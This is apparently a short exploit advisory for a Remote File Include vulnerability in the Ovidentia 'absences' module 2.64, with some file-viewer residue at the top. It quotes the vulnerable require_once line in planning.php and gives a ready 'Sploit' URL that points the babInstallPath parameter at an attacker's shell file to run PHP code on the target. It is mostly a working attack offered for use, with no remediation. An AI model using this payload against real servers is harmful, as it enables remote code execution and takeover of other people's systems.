24 lines
No EOL
895 B
Text
24 lines
No EOL
895 B
Text
# Title: Ovidentia Module absences 2.64 Remote File Include Vulnerability
|
|
# Author: bd0rk
|
|
# eMail: bd0rk[at]hackermail.com
|
|
# Tested on: Ubuntu-Linux
|
|
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fabsences&file=absences-2-64.zip&idf=880
|
|
|
|
|
|
Proof-of-Concept:
|
|
|
|
/absences-2-64/programs/planning.php line 26
|
|
---------------------------------------------------------------
|
|
|
|
require_once $GLOBALS['babInstallPath'].'utilit/defines.php';
|
|
|
|
---------------------------------------------------------------
|
|
|
|
[+]Sploit: http://[target]/absences-2-64/programs/planning.php?GLOBALS[babInstallPath]=YOURSHELL.txt?
|
|
|
|
|
|
Description: The $GLOBALS['babInstallPath']-parameter isn't declared before require_once.
|
|
So an attacker can use this to execute some php-shellcode for example.
|
|
|
|
|
|
### The 27 years old, german hacker bd0rk ### |